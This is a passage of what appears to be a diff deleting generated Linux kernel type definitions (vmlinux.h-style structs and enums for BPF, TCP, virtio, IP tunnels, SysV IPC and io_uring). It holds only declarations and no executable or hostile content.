__u16 *); - struct dst_entry * (*route_req)(const struct sock *, struct sk_buff *, struct flowi *, struct request_sock *); - u32 (*init_seq)(const struct sk_buff *); - u32 (*init_ts_off)(const struct net *, const struct sk_buff *); - int (*send_synack)(const struct sock *, struct dst_entry *, struct flowi *, struct request_sock *, struct tcp_fastopen_cookie *, enum tcp_synack_type, struct sk_buff *); -}; - -struct tcp_skb_cb { - __u32 seq; - __u32 end_seq; - union { - __u32 tcp_tw_isn; - struct { - u16 tcp_gso_segs; - u16 tcp_gso_size; - }; - }; - __u8 tcp_flags; - __u8 sacked; - __u8 ip_dsfield; - __u8 txstamp_ack: 1; - __u8 eor: 1; - __u8 has_rxtstamp: 1; - __u8 unused: 5; - __u32 ack_seq; - union { - struct { - __u32 is_app_limited: 1; - __u32 delivered_ce: 20; - __u32 unused: 11; - __u32 delivered; - u64 first_tx_mstamp; - u64 delivered_mstamp; - } tx; - union { - struct inet_skb_parm h4; - struct inet6_skb_parm h6; - } header; - }; -}; - -struct xsk_dma_map { - dma_addr_t *dma_pages; - struct device *dev; - struct net_device *netdev; - refcount_t users; - struct list_head list; - u32 dma_pages_cnt; - bool dma_need_sync; -}; - -typedef long int (*sys_call_ptr_t)(const struct pt_regs *); - -enum { - BTF_SOCK_TYPE_INET = 0, - BTF_SOCK_TYPE_INET_CONN = 1, - BTF_SOCK_TYPE_INET_REQ = 2, - BTF_SOCK_TYPE_INET_TW = 3, - BTF_SOCK_TYPE_REQ = 4, - BTF_SOCK_TYPE_SOCK = 5, - BTF_SOCK_TYPE_SOCK_COMMON = 6, - BTF_SOCK_TYPE_TCP = 7, - BTF_SOCK_TYPE_TCP_REQ = 8, - BTF_SOCK_TYPE_TCP_TW = 9, - BTF_SOCK_TYPE_TCP6 = 10, - BTF_SOCK_TYPE_UDP = 11, - BTF_SOCK_TYPE_UDP6 = 12, - BTF_SOCK_TYPE_UNIX = 13, - BTF_SOCK_TYPE_MPTCP = 14, - BTF_SOCK_TYPE_SOCKET = 15, - MAX_BTF_SOCK_TYPE = 16, -}; - -enum bpf_jit_poke_reason { - BPF_POKE_REASON_TAIL_CALL = 0, -}; - -struct bpf_kfunc_desc { - struct btf_func_model func_model; - u32 func_id; - s32 imm; - u16 offset; -}; - -struct bpf_kfunc_desc_tab { - struct bpf_kfunc_desc descs[256]; - u32 nr_descs; -}; - -struct bpf_kfunc_btf { - struct btf *btf; - struct module *module; - u16 offset; -}; - -struct bpf_kfunc_btf_tab { - struct bpf_kfunc_btf descs[256]; - u32 nr_descs; -}; - -typedef u32 (*bpf_convert_ctx_access_t)(enum bpf_access_type, const struct bpf_insn *, struct bpf_insn *, struct bpf_prog *, u32 *); - -enum bpf_stack_slot_type { - STACK_INVALID = 0, - STACK_SPILL = 1, - STACK_MISC = 2, - STACK_ZERO = 3, - STACK_DYNPTR = 4, -}; - -struct bpf_verifier_stack_elem { - struct bpf_verifier_state st; - int insn_idx; - int prev_insn_idx; - struct bpf_verifier_stack_elem *next; - u32 log_pos; -}; - -struct bpf_call_arg_meta { - struct bpf_map *map_ptr; - bool raw_mode; - bool pkt_access; - u8 release_regno; - int regno; - int access_size; - int mem_size; - u64 msize_max_value; - int ref_obj_id; - int map_uid; - int func_id; - struct btf *btf; - u32 btf_id; - struct btf *ret_btf; - u32 ret_btf_id; - u32 subprogno; - struct btf_field *kptr_field; - u8 uninit_dynptr_regno; -}; - -enum reg_arg_type { - SRC_OP = 0, - DST_OP = 1, - DST_OP_NO_MARK = 2, -}; - -enum bpf_access_src { - ACCESS_DIRECT = 1, - ACCESS_HELPER = 2, -}; - -struct bpf_reg_types { - const enum bpf_reg_type types[10]; - u32 *btf_id; -}; - -enum { - AT_PKT_END = -1, - BEYOND_PKT_END = -2, -}; - -typedef int (*set_callee_state_fn)(struct bpf_verifier_env *, struct bpf_func_state *, struct bpf_func_state *, int); - -struct bpf_kfunc_call_arg_meta { - struct btf *btf; - u32 func_id; - u32 kfunc_flags; - const struct btf_type *func_proto; - const char *func_name; - u32 ref_obj_id; - u8 release_regno; - bool r0_rdonly; - u32 ret_btf_id; - u64 r0_size; - struct { - u64 value; - bool found; - } arg_constant; - struct { - struct btf *btf; - u32 btf_id; - } arg_obj_drop; - struct { - struct btf_field *field; - } arg_list_head; -}; - -enum { - KF_ARG_DYNPTR_ID = 0, - KF_ARG_LIST_HEAD_ID = 1, - KF_ARG_LIST_NODE_ID = 2, -}; - -enum kfunc_ptr_arg_type { - KF_ARG_PTR_TO_CTX = 0, - KF_ARG_PTR_TO_ALLOC_BTF_ID = 1, - KF_ARG_PTR_TO_KPTR = 2, - KF_ARG_PTR_TO_DYNPTR = 3, - KF_ARG_PTR_TO_LIST_HEAD = 4, - KF_ARG_PTR_TO_LIST_NODE = 5, - KF_ARG_PTR_TO_BTF_ID = 6, - KF_ARG_PTR_TO_MEM = 7, - KF_ARG_PTR_TO_MEM_SIZE = 8, -}; - -enum special_kfunc_type { - KF_bpf_obj_new_impl = 0, - KF_bpf_obj_drop_impl = 1, - KF_bpf_list_push_front = 2, - KF_bpf_list_push_back = 3, - KF_bpf_list_pop_front = 4, - KF_bpf_list_pop_back = 5, - KF_bpf_cast_to_kern_ctx = 6, - KF_bpf_rdonly_cast = 7, - KF_bpf_rcu_read_lock = 8, - KF_bpf_rcu_read_unlock = 9, -}; - -enum { - REASON_BOUNDS = -1, - REASON_TYPE = -2, - REASON_PATHS = -3, - REASON_LIMIT = -4, - REASON_STACK = -5, -}; - -struct bpf_sanitize_info { - struct bpf_insn_aux_data aux; - bool mask_to_left; -}; - -enum { - DISCOVERED = 16, - EXPLORED = 32, - FALLTHROUGH = 1, - BRANCH = 2, -}; - -enum { - DONE_EXPLORING = 0, - KEEP_EXPLORING = 1, -}; - -typedef __u64 __virtio64; - -struct vring_desc { - __virtio64 addr; - __virtio32 len; - __virtio16 flags; - __virtio16 next; -}; - -struct vring_avail { - __virtio16 flags; - __virtio16 idx; - __virtio16 ring[0]; -}; - -struct vring_used_elem { - __virtio32 id; - __virtio32 len; -}; - -typedef struct vring_used_elem vring_used_elem_t; - -struct vring_used { - __virtio16 flags; - __virtio16 idx; - vring_used_elem_t ring[0]; -}; - -typedef struct vring_desc vring_desc_t; - -typedef struct vring_avail vring_avail_t; - -typedef struct vring_used vring_used_t; - -struct vring { - unsigned int num; - vring_desc_t *desc; - vring_avail_t *avail; - vring_used_t *used; -}; - -struct vring_packed_desc_event { - __le16 off_wrap; - __le16 flags; -}; - -struct vring_packed_desc { - __le64 addr; - __le32 len; - __le16 id; - __le16 flags; -}; - -struct vring_desc_state_split { - void *data; - struct vring_desc *indir_desc; -}; - -struct vring_desc_state_packed { - void *data; - struct vring_packed_desc *indir_desc; - u16 num; - u16 last; -}; - -struct vring_desc_extra { - dma_addr_t addr; - u32 len; - u16 flags; - u16 next; -}; - -struct vring_virtqueue_split { - struct vring vring; - u16 avail_flags_shadow; - u16 avail_idx_shadow; - struct vring_desc_state_split *desc_state; - struct vring_desc_extra *desc_extra; - dma_addr_t queue_dma_addr; - size_t queue_size_in_bytes; - u32 vring_align; - bool may_reduce_num; -}; - -struct vring_virtqueue_packed { - struct { - unsigned int num; - struct vring_packed_desc *desc; - struct vring_packed_desc_event *driver; - struct vring_packed_desc_event *device; - } vring; - bool avail_wrap_counter; - u16 avail_used_flags; - u16 next_avail_idx; - u16 event_flags_shadow; - struct vring_desc_state_packed *desc_state; - struct vring_desc_extra *desc_extra; - dma_addr_t ring_dma_addr; - dma_addr_t driver_event_dma_addr; - dma_addr_t device_event_dma_addr; - size_t ring_size_in_bytes; - size_t event_size_in_bytes; -}; - -struct vring_virtqueue { - struct virtqueue vq; - bool packed_ring; - bool use_dma_api; - bool weak_barriers; - bool broken; - bool indirect; - bool event; - unsigned int free_head; - unsigned int num_added; - u16 last_used_idx; - bool event_triggered; - union { - struct vring_virtqueue_split split; - struct vring_virtqueue_packed packed; - }; - bool (*notify)(struct virtqueue *); - bool we_own_ring; -}; - -struct fwnode_link { - struct fwnode_handle *supplier; - struct list_head s_hook; - struct fwnode_handle *consumer; - struct list_head c_hook; -}; - -struct dev_printk_info { - char subsystem[16]; - char device[48]; -}; - -struct wake_irq { - struct device *dev; - unsigned int status; - int irq; - const char *name; -}; - -enum dpm_order { - DPM_ORDER_NONE = 0, - DPM_ORDER_DEV_AFTER_PARENT = 1, - DPM_ORDER_PARENT_BEFORE_DEV = 2, - DPM_ORDER_DEV_LAST = 3, -}; - -struct class_interface { - struct list_head node; - struct class *class; - int (*add_dev)(struct device *, struct class_interface *); - void (*remove_dev)(struct device *, struct class_interface *); -}; - -struct dev_ext_attribute { - struct device_attribute attr; - void *var; -}; - -union device_attr_group_devres { - const struct attribute_group *group; - const struct attribute_group **groups; -}; - -struct class_dir { - struct kobject kobj; - struct class *class; -}; - -struct root_device { - struct device dev; - struct module *owner; -}; - -enum tick_broadcast_state { - TICK_BROADCAST_EXIT = 0, - TICK_BROADCAST_ENTER = 1, -}; - -enum { - IF_LINK_MODE_DEFAULT = 0, - IF_LINK_MODE_DORMANT = 1, - IF_LINK_MODE_TESTING = 2, -}; - -enum lw_bits { - LW_URGENT = 0, -}; - -typedef const char (* const ethnl_string_array_t)[32]; - -struct wol_reply_data { - struct ethnl_reply_data base; - struct ethtool_wolinfo wol; - bool show_sopass; -}; - -enum { - BPF_F_CURRENT_NETNS = -1, -}; - -struct bpf_sock_tuple { - union { - struct { - __be32 saddr; - __be32 daddr; - __be16 sport; - __be16 dport; - } ipv4; - struct { - __be32 saddr[4]; - __be32 daddr[4]; - __be16 sport; - __be16 dport; - } ipv6; - }; -}; - -struct nf_conn___init { - struct nf_conn ct; -}; - -struct bpf_ct_opts { - s32 netns_id; - s32 error; - u8 l4proto; - u8 dir; - u8 reserved[2]; -}; - -enum { - NF_BPF_CT_OPTS_SZ = 12, -}; - -struct icmphdr { - __u8 type; - __u8 code; - __sum16 checksum; - union { - struct { - __be16 id; - __be16 sequence; - } echo; - __be32 gateway; - struct { - __be16 __unused; - __be16 mtu; - } frag; - __u8 reserved[4]; - } un; -}; - -enum { - IFLA_IPTUN_UNSPEC = 0, - IFLA_IPTUN_LINK = 1, - IFLA_IPTUN_LOCAL = 2, - IFLA_IPTUN_REMOTE = 3, - IFLA_IPTUN_TTL = 4, - IFLA_IPTUN_TOS = 5, - IFLA_IPTUN_ENCAP_LIMIT = 6, - IFLA_IPTUN_FLOWINFO = 7, - IFLA_IPTUN_FLAGS = 8, - IFLA_IPTUN_PROTO = 9, - IFLA_IPTUN_PMTUDISC = 10, - IFLA_IPTUN_6RD_PREFIX = 11, - IFLA_IPTUN_6RD_RELAY_PREFIX = 12, - IFLA_IPTUN_6RD_PREFIXLEN = 13, - IFLA_IPTUN_6RD_RELAY_PREFIXLEN = 14, - IFLA_IPTUN_ENCAP_TYPE = 15, - IFLA_IPTUN_ENCAP_FLAGS = 16, - IFLA_IPTUN_ENCAP_SPORT = 17, - IFLA_IPTUN_ENCAP_DPORT = 18, - IFLA_IPTUN_COLLECT_METADATA = 19, - IFLA_IPTUN_FWMARK = 20, - __IFLA_IPTUN_MAX = 21, -}; - -struct ip_tunnel_prl { - __be32 addr; - __u16 flags; - __u16 __reserved; - __u32 datalen; - __u32 __reserved2; -}; - -enum { - INET_ECN_NOT_ECT = 0, - INET_ECN_ECT_1 = 1, - INET_ECN_ECT_0 = 2, - INET_ECN_CE = 3, - INET_ECN_MASK = 3, -}; - -struct ip_tunnel_prl_entry { - struct ip_tunnel_prl_entry *next; - __be32 addr; - u16 flags; - struct callback_head callback_head; -}; - -struct ip_tunnel { - struct ip_tunnel *next; - struct hlist_node hash_node; - struct net_device *dev; - netdevice_tracker dev_tracker; - struct net *net; - long unsigned int err_time; - int err_count; - u32 i_seqno; - atomic_t o_seqno; - int tun_hlen; - u32 index; - u8 erspan_ver; - u8 dir; - u16 hwid; - struct dst_cache dst_cache; - struct ip_tunnel_parm parms; - int mlink; - int encap_hlen; - int hlen; - struct ip_tunnel_encap encap; - struct ip_tunnel_prl_entry *prl; - unsigned int prl_count; - unsigned int ip_tnl_net_id; - struct gro_cells gro_cells; - __u32 fwmark; - bool collect_md; - bool ignore_df; -}; - -struct tnl_ptk_info { - __be16 flags; - __be16 proto; - __be32 key; - __be32 seq; - int hdr_len; -}; - -struct ip_tunnel_encap_ops { - size_t (*encap_hlen)(struct ip_tunnel_encap *); - int (*build_header)(struct sk_buff *, struct ip_tunnel_encap *, u8 *, struct flowi4 *); - int (*err_handler)(struct sk_buff *, u32); -}; - -struct xfrm_tunnel { - int (*handler)(struct sk_buff *); - int (*cb_handler)(struct sk_buff *, int); - int (*err_handler)(struct sk_buff *, u32); - struct xfrm_tunnel *next; - int priority; -}; - -struct sit_net { - struct ip_tunnel *tunnels_r_l[16]; - struct ip_tunnel *tunnels_r[16]; - struct ip_tunnel *tunnels_l[16]; - struct ip_tunnel *tunnels_wc[1]; - struct ip_tunnel **tunnels[4]; - struct net_device *fb_tunnel_dev; -}; - -struct metadata_dst; - -struct stacktrace_cookie { - long unsigned int *store; - unsigned int size; - unsigned int skip; - unsigned int len; -}; - -struct lsm_blob_sizes { - int lbs_cred; - int lbs_file; - int lbs_inode; - int lbs_superblock; - int lbs_ipc; - int lbs_msg_msg; - int lbs_task; -}; - -struct bpf_storage_blob { - struct bpf_local_storage *storage; -}; - -typedef u64 (*btf_bpf_inode_storage_get)(struct bpf_map *, struct inode *, void *, u64, gfp_t); - -typedef u64 (*btf_bpf_inode_storage_delete)(struct bpf_map *, struct inode *); - -typedef int __kernel_key_t; - -typedef unsigned int __kernel_mode_t; - -typedef int __kernel_ipc_pid_t; - -typedef unsigned int __kernel_uid_t; - -typedef unsigned int __kernel_gid_t; - -typedef __kernel_long_t __kernel_old_time_t; - -typedef __kernel_key_t key_t; - -typedef long unsigned int ulong; - -struct ipc_perm { - __kernel_key_t key; - __kernel_uid_t uid; - __kernel_gid_t gid; - __kernel_uid_t cuid; - __kernel_gid_t cgid; - __kernel_mode_t mode; - short unsigned int seq; -}; - -struct ipc64_perm { - __kernel_key_t key; - __kernel_uid32_t uid; - __kernel_gid32_t gid; - __kernel_uid32_t cuid; - __kernel_gid32_t cgid; - __kernel_mode_t mode; - unsigned char __pad1[0]; - short unsigned int seq; - short unsigned int __pad2; - __kernel_ulong_t __unused1; - __kernel_ulong_t __unused2; -}; - -struct kern_ipc_perm { - spinlock_t lock; - bool deleted; - int id; - key_t key; - kuid_t uid; - kgid_t gid; - kuid_t cuid; - kgid_t cgid; - umode_t mode; - long unsigned int seq; - void *security; - struct rhash_head khtnode; - struct callback_head rcu; - refcount_t refcount; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct shmid_ds { - struct ipc_perm shm_perm; - int shm_segsz; - __kernel_old_time_t shm_atime; - __kernel_old_time_t shm_dtime; - __kernel_old_time_t shm_ctime; - __kernel_ipc_pid_t shm_cpid; - __kernel_ipc_pid_t shm_lpid; - short unsigned int shm_nattch; - short unsigned int shm_unused; - void *shm_unused2; - void *shm_unused3; -}; - -struct shmid64_ds { - struct ipc64_perm shm_perm; - __kernel_size_t shm_segsz; - long int shm_atime; - long int shm_dtime; - long int shm_ctime; - __kernel_pid_t shm_cpid; - __kernel_pid_t shm_lpid; - long unsigned int shm_nattch; - long unsigned int __unused4; - long unsigned int __unused5; -}; - -struct shminfo64 { - long unsigned int shmmax; - long unsigned int shmmin; - long unsigned int shmmni; - long unsigned int shmseg; - long unsigned int shmall; - long unsigned int __unused1; - long unsigned int __unused2; - long unsigned int __unused3; - long unsigned int __unused4; -}; - -struct shminfo { - int shmmax; - int shmmin; - int shmmni; - int shmseg; - int shmall; -}; - -struct shm_info { - int used_ids; - __kernel_ulong_t shm_tot; - __kernel_ulong_t shm_rss; - __kernel_ulong_t shm_swp; - __kernel_ulong_t swap_attempts; - __kernel_ulong_t swap_successes; -}; - -struct ipc_params { - key_t key; - int flg; - union { - size_t size; - int nsems; - } u; -}; - -struct ipc_ops { - int (*getnew)(struct ipc_namespace *, struct ipc_params *); - int (*associate)(struct kern_ipc_perm *, int); - int (*more_checks)(struct kern_ipc_perm *, struct ipc_params *); -}; - -struct shmid_kernel { - struct kern_ipc_perm shm_perm; - struct file *shm_file; - long unsigned int shm_nattch; - long unsigned int shm_segsz; - time64_t shm_atim; - time64_t shm_dtim; - time64_t shm_ctim; - struct pid *shm_cprid; - struct pid *shm_lprid; - struct ucounts *mlock_ucounts; - struct task_struct *shm_creator; - struct list_head shm_clist; - struct ipc_namespace *ns; - long: 64; - long: 64; - long: 64; -}; - -struct shm_file_data { - int id; - struct ipc_namespace *ns; - struct file *file; - const struct vm_operations_struct *vm_ops; -}; - -enum { - BLK_MQ_F_SHOULD_MERGE = 1, - BLK_MQ_F_TAG_QUEUE_SHARED = 2, - BLK_MQ_F_STACKING = 4, - BLK_MQ_F_TAG_HCTX_SHARED = 8, - BLK_MQ_F_BLOCKING = 32, - BLK_MQ_F_NO_SCHED = 64, - BLK_MQ_F_NO_SCHED_BY_DEFAULT = 128, - BLK_MQ_F_ALLOC_POLICY_START_BIT = 8, - BLK_MQ_F_ALLOC_POLICY_BITS = 1, - BLK_MQ_S_STOPPED = 0, - BLK_MQ_S_TAG_ACTIVE = 1, - BLK_MQ_S_SCHED_RESTART = 2, - BLK_MQ_S_INACTIVE = 3, - BLK_MQ_MAX_DEPTH = 10240, - BLK_MQ_CPU_WORK_BATCH = 8, -}; - -struct iov_iter_state { - size_t iov_offset; - size_t count; - long unsigned int nr_segs; -}; - -enum io_uring_op { - IORING_OP_NOP = 0, - IORING_OP_READV = 1, - IORING_OP_WRITEV = 2, - IORING_OP_FSYNC = 3, - IORING_OP_READ_FIXED = 4, - IORING_OP_WRITE_FIXED = 5, - IORING_OP_POLL_ADD = 6, - IORING_OP_POLL_REMOVE = 7, - IORING_OP_SYNC_FILE_RANGE = 8, - IORING_OP_SENDMSG = 9, - IORING_OP_RECVMSG = 10, - IORING_OP_TIMEOUT = 11, - IORING_OP_TIMEOUT_REMOVE = 12, - IORING_OP_ACCEPT = 13, - IORING_OP_ASYNC_CANCEL = 14, - IORING_OP_LINK_TIMEOUT = 15, - IORING_OP_CONNECT = 16, - IORING_OP_FALLOCATE = 17, - IORING_OP_OPENAT = 18, - IORING_OP_CLOSE = 19, - IORING_OP_FILES_UPDATE = 20, - IORING_OP_STATX = 21, - IORING_OP_READ = 22, - IORING_OP_WRITE = 23, - IORING_OP_FADVISE = 24, - IORING_OP_MADVISE = 25, - IORING_OP_SEND = 26, - IORING_OP_RECV = 27, - IORING_OP_OPENAT2 = 28, - IORING_OP_EPOLL_CTL = 29, - IORING_OP_SPLICE = 30, - IORING_OP_PROVIDE_BUFFERS = 31, - IORING_OP_REMOVE_BUFFERS = 32, - IORING_OP_TEE = 33, - IORING_OP_SHUTDOWN = 34, - IORING_OP_RENAMEAT = 35, - IORING_OP_UNLINKAT = 36, - IORING_OP_MKDIRAT = 37, - IORING_OP_SYMLINKAT = 38, - IORING_OP_LINKAT = 39, - IORING_OP_MSG_RING = 40, - IORING_OP_FSETXATTR = 41, - IORING_OP_SETXATTR = 42, - IORING_OP_FGETXATTR = 43, - IORING_OP_GETXATTR = 44, - IORING_OP_SOCKET = 45, - IORING_OP_URING_CMD = 46, - IORING_OP_SEND_ZC = 47, - IORING_OP_SENDMSG_ZC = 48, - IORING_OP_LAST = 49, -}; - -struct io_uring_buf { - __u64 addr; - __u32 len; - __u16 bid; - __u16 resv; -}; - -struct io_uring_buf_ring { - union { - struct { - __u64 resv1; - __u32 resv2; - __u16 resv3; - __u16 tail; - }; - struct io_uring_buf bufs[0]; - }; -}; - -struct io_rsrc_node { - struct percpu_ref refs; - struct list_head node; - struct list_head rsrc_list; - struct io_rsrc_data *rsrc_data; - struct llist_node llist; - bool done; -}; - -struct io_mapped_ubuf { - u64 ubuf; - u64 ubuf_end; - unsigned int nr_bvecs; - long unsigned int acct_pages; - struct bio_vec bvec[0]; -}; - -struct io_buffer_list { - union { - struct list_head buf_list; - struct { - struct page **buf_pages; - struct io_uring_buf_ring *buf_ring; - }; - }; - __u16 bgid; - __u16 buf_nr_pages; - __u16 nr_entries; - __u16 head; - __u16 mask; -}; - -struct io_rsrc_put; - -typedef void rsrc_put_fn(struct io_ring_ctx *, struct io_rsrc_put *); - -struct io_rsrc_data { - struct io_ring_ctx *ctx; - u64 **tags; - unsigned int nr; - rsrc_put_fn *do_put; - atomic_t refs; - struct completion done; - bool quiesce; -}; - -enum { - REQ_F_FIXED_FILE_BIT = 0, - REQ_F_IO_DRAIN_BIT = 1, - REQ_F_LINK_BIT = 2, - REQ_F_HARDLINK_BIT = 3, - REQ_F_FORCE_ASYNC_BIT = 4, - REQ_F_BUFFER_SELECT_BIT = 5, - REQ_F_CQE_SKIP_BIT = 6, - REQ_F_FAIL_BIT = 8, - REQ_F_INFLIGHT_BIT = 9, - REQ_F_CUR_POS_BIT = 10, - REQ_F_NOWAIT_BIT = 11, - REQ_F_LINK_TIMEOUT_BIT = 12, - REQ_F_NEED_CLEANUP_BIT = 13, - REQ_F_POLLED_BIT = 14, - REQ_F_BUFFER_SELECTED_BIT = 15, - REQ_F_BUFFER_RING_BIT = 16, - REQ_F_REISSUE_BIT = 17, - REQ_F_CREDS_BIT = 18, - REQ_F_REFCOUNT_BIT = 19, - REQ_F_ARM_LTIMEOUT_BIT = 20, - REQ_F_ASYNC_DATA_BIT = 21, - REQ_F_SKIP_LINK_CQES_BIT = 22, - REQ_F_SINGLE_POLL_BIT = 23, - REQ_F_DOUBLE_POLL_BIT = 24, - REQ_F_PARTIAL_IO_BIT = 25, - REQ_F_CQE32_INIT_BIT = 26, - REQ_F_APOLL_MULTISHOT_BIT = 27, - REQ_F_CLEAR_POLLIN_BIT = 28, - REQ_F_HASH_LOCKED_BIT = 29, - REQ_F_SUPPORT_NOWAIT_BIT = 30, - REQ_F_ISREG_BIT = 31, - __REQ_F_LAST_BIT = 32, -}; - -struct io_buffer { - struct list_head list; - __u64 addr; - __u32 len; - __u16 bid; - __u16 bgid; -}; - -struct io_op_def { - unsigned int needs_file: 1; - unsigned int plug: 1; - unsigned int hash_reg_file: 1; - unsigned int unbound_nonreg_file: 1; - unsigned int pollin: 1; - unsigned int pollout: 1; - unsigned int poll_exclusive: 1; - unsigned int buffer_select: 1; - unsigned int not_supported: 1; - unsigned int audit_skip: 1; - unsigned int ioprio: 1; - unsigned int iopoll: 1; - unsigned int manual_alloc: 1; - short unsigned int async_size; - const char *name; - int (*prep)(struct io_kiocb *, const struct io_uring_sqe *); - int (*issue)(struct io_kiocb *, unsigned int); - int (*prep_async)(struct io_kiocb *); - void (*cleanup)(struct io_kiocb *); - void (*fail)(struct io_kiocb *); -}; - -struct io_rsrc_put { - struct list_head list; - u64 tag; - union { - void *rsrc; - struct file *file; - struct io_mapped_ubuf *buf; - }; -}; - -struct wait_page_key { - struct folio *folio; - int bit_nr; - int page_match; -}; - -struct io_rw_state { - struct iov_iter iter; - struct iov_iter_state iter_state; - struct iovec fast_iov[8]; -}; - -struct io_async_rw { - struct io_rw_state s; - const struct iovec *free_iovec; - size_t bytes_done; - struct wait_page_queue wpq; -}; - -struct io_rw { - struct kiocb kiocb; - u64 addr; - u32 len; - rwf_t flags; -}; - -enum cache_type { - CACHE_TYPE_NOCACHE = 0, - CACHE_TYPE_INST = 1, - CACHE_TYPE_DATA = 2, - CACHE_TYPE_SEPARATE = 3, - CACHE_TYPE_UNIFIED = 4, -}; - -struct cacheinfo { - unsigned int id; - enum cache_type type; - unsigned int level; - unsigned int coherency_line_size; - unsigned int number_of_sets; - unsigned int ways_of_associativity; - unsigned int physical_line_partition; - unsigned int size; - cpumask_t shared_cpu_map; - unsigned int attributes; - void *fw_token; - bool disable_sysfs; - void *priv; -}; - -struct cpu_cacheinfo { - struct cacheinfo *info_list; - unsigned int num_levels; - unsigned int num_leaves; - bool cpu_map_populated; -}; - -struct bpf_prog_offload_ops { - int (*insn_hook)(struct bpf_verifier_env *, int, int); - int (*finalize)(struct bpf_verifier_env *); - int (*replace_insn)(struct bpf_verifier_env *, u32, struct bpf_insn *); - int (*remove_insns)(struct bpf_verifier_env *, u32, u32); - int (*prepare)(struct bpf_prog *); - int (*translate)(struct bpf_prog *); - void (*destroy)(struct bpf_prog *); -}; - -struct nsim_bpf_bound_prog { - struct nsim_dev *nsim_dev; - struct bpf_prog *prog; - struct dentry *ddir; - const char *state; - bool is_loaded; - struct list_head l; -}; - -struct nsim_map_entry { - void *key; - void *value; -}; - -struct nsim_bpf_bound_map { - struct netdevsim *ns; - struct bpf_offloaded_map *map; - struct mutex mutex; - struct nsim_map_entry entry[2]; - struct list_head l; -}; - -enum ct_dccp_roles { - CT_DCCP_ROLE_CLIENT = 0, - CT_DCCP_ROLE_SERVER = 1, - __CT_DCCP_ROLE_MAX = 2, -}; - -struct dccp_hdr_ext { - __be32 dccph_seq_low; -}; - -struct dccp_hdr_ack_bits { - __be16 dccph_reserved1; - __be16 dccph_ack_nr_high; - __be32 dccph_ack_nr_low; -}; - -enum dccp_pkt_type { - DCCP_PKT_REQUEST = 0, - DCCP_PKT_RESPONSE = 1, - DCCP_PKT_DATA = 2, - DCCP_PKT_ACK = 3, - DCCP_PKT_DATAACK = 4, - DCCP_PKT_CLOSEREQ = 5, - DCCP_PKT_CLOSE = 6, - DCCP_PKT_RESET = 7, - DCCP_PKT_SYNC = 8, - DCCP_PKT_SYNCACK = 9, - DCCP_PKT_INVALID = 10, -}; - -enum lwtunnel_encap_types { - LWTUNNEL_ENCAP_NONE = 0, - LWTUNNEL_ENCAP_MPLS = 1, - LWTUNNEL_ENCAP_IP = 2, - LWTUNNEL_ENCAP_ILA = 3, - LWTUNNEL_ENCAP_IP6 = 4, - LWTUNNEL_ENCAP_SEG6 = 5, - LWTUNNEL_ENCAP_BPF = 6, - LWTUNNEL_ENCAP_SEG6_LOCAL = 7, - LWTUNNEL_ENCAP_RPL = 8, - LWTUNNEL_ENCAP_IOAM6 = 9, - LWTUNNEL_ENCAP_XFRM = 10, - __LWTUNNEL_ENCAP_MAX = 11, -}; - -enum lwtunnel_ip_t { - LWTUNNEL_IP_UNSPEC = 0, - LWTUNNEL_IP_ID = 1, - LWTUNNEL_IP_DST = 2, - LWTUNNEL_IP_SRC = 3, - LWTUNNEL_IP_TTL = 4, - LWTUNNEL_IP_TOS = 5, - LWTUNNEL_IP_FLAGS = 6, - LWTUNNEL_IP_PAD = 7, - LWTUNNEL_IP_OPTS = 8, - __LWTUNNEL_IP_MAX = 9, -}; - -enum lwtunnel_ip6_t { - LWTUNNEL_IP6_UNSPEC = 0, - LWTUNNEL_IP6_ID = 1, - LWTUNNEL_IP6_DST = 2, - LWTUNNEL_IP6_SRC = 3, - LWTUNNEL_IP6_HOPLIMIT = 4, - LWTUNNEL_IP6_TC = 5, - LWTUNNEL_IP6_FLAGS = 6, - LWTUNNEL_IP6_PAD = 7, - LWTUNNEL_IP6_OPTS = 8, - __LWTUNNEL_IP6_MAX = 9, -}; - -enum { - LWTUNNEL_IP_OPTS_UNSPEC = 0, - LWTUNNEL_IP_OPTS_GENEVE = 1, - LWTUNNEL_IP_OPTS_VXLAN = 2, - LWTUNNEL_IP_OPTS_ERSPAN = 3, - __LWTUNNEL_IP_OPTS_MAX = 4, -}; - -enum { - LWTUNNEL_IP_OPT_GENEVE_UNSPEC = 0, - LWTUNNEL_IP_OPT_GENEVE_CLASS = 1, - LWTUNNEL_IP_OPT_GENEVE_TYPE = 2, - LWTUNNEL_IP_OPT_GENEVE_DATA = 3, - __LWTUNNEL_IP_OPT_GENEVE_MAX = 4, -}; - -enum { - LWTUNNEL_IP_OPT_VXLAN_UNSPEC = 0, - LWTUNNEL_IP_OPT_VXLAN_GBP = 1, - __LWTUNNEL_IP_OPT_VXLAN_MAX = 2, -}; - -enum { - LWTUNNEL_IP_OPT_ERSPAN_UNSPEC = 0, - LWTUNNEL_IP_OPT_ERSPAN_VER = 1, - LWTUNNEL_IP_OPT_ERSPAN_INDEX = 2, - LWTUNNEL_IP_OPT_ERSPAN_DIR = 3, - LWTUNNEL_IP_OPT_ERSPAN_HWID = 4, - __LWTUNNEL_IP_OPT_ERSPAN_MAX = 5, -}; - -struct lwtunnel_encap_ops { - int (*build_state)(struct net *, struct nlattr *, unsigned int, const void *, struct lwtunnel_state **, struct netlink_ext_ack *); - void (*destroy_state)(struct lwtunnel_state *); - int (*output)(struct net *, struct sock *, struct sk_buff *); - int (*input)(struct sk_buff *); - int (*fill_encap)(struct sk_buff *, struct lwtunnel_state *); - int (*get_encap_size)(struct lwtunnel_state *); - int (*cmp_encap)(struct lwtunnel_state *, struct lwtunnel_state *); - int (*xmit)(struct sk_buff *); - struct module *owner; -}; - -struct ip_tunnel_key { - __be64 tun_id; - union { - struct { - __be32 src; - __be32 dst; - } ipv4; - struct { - struct in6_addr src; - struct in6_addr dst; - } ipv6; - } u; - __be16 tun_flags; - u8 tos; - u8 ttl; - __be32 label; - __be16 tp_src; - __be16 tp_dst; - __u8 flow_flags; -}; - -struct ip_tunnel_info { - struct ip_tunnel_key key; - struct dst_cache dst_cache; - u8 options_len; - u8 mode; -}; - -typedef u64 sci_t; - -enum metadata_type { - METADATA_IP_TUNNEL = 0, - METADATA_HW_PORT_MUX = 1, - METADATA_MACSEC = 2, - METADATA_XFRM = 3, -}; - -struct hw_port_info { - struct net_device *lower_dev; - u32 port_id; -}; - -struct macsec_info { - sci_t sci; -}; - -struct xfrm_md_info { - u32 if_id; - int link; - struct dst_entry *dst_orig; -}; - -struct metadata_dst { - struct dst_entry dst; - enum metadata_type type; - union { - struct ip_tunnel_info tun_info; - struct hw_port_info 